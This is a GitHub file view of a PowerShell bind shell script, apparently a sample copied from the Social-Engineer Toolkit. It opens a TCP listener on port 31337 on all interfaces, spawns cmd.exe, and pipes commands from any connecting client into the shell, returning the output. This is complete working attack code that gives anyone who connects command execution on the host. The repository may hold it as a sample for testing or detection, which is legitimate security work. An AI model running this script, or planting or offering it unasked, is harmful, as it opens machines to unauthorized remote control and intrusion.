-
Notifications
You must be signed in to change notification settings - Fork 33
/
Copy pathsample_bind_shell.ps1
56 lines (51 loc) · 1.83 KB
/
sample_bind_shell.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# Powershell bindshell
# Taken from SET: https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/bind.powershell
# Set your port
$PORT = 31337
$encoding = new-object System.Text.AsciiEncoding
$endpoint = new-object System.Net.IpEndpoint ([System.Net.Ipaddress]::any, $PORT)
$listener = new-object System.Net.Sockets.TcpListener $endpoint
$listener.start()
$socket = $listener.AcceptTcpClient()
$networkstream = $socket.GetStream()
$networkbuffer = New-Object System.Byte[] $socket.ReceiveBufferSize
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = "C:\\windows\\system32\\cmd.exe"
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.UseShellExecute = 0
$process.Start()
$inputstream = $process.StandardInput
$outputstream = $process.StandardOutput
Start-Sleep 1
while($outputstream.Peek() -ne -1){
$string += $encoding.GetString($outputstream.Read())
}
$networkstream.Write($encoding.GetBytes($string),0,$string.Length)
$string = ''
$done = $false
while (-not $done) {
$pos = 0
$i = 1
while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {
$read = $networkstream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)
$pos+=$read
if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {
break
}
}
if ($pos -gt 0) {
$string = $encoding.GetString($networkbuffer,0,$pos)
$inputstream.write($string)
# Write Output
$out = $encoding.GetString($outputstream.Read())
while($outputstream.Peek() -ne -1){
$out += $encoding.GetString($outputstream.Read())
}
$networkstream.Write($encoding.GetBytes($out),0,$out.length)
$out = $null
}
else {
$done = $true
}
}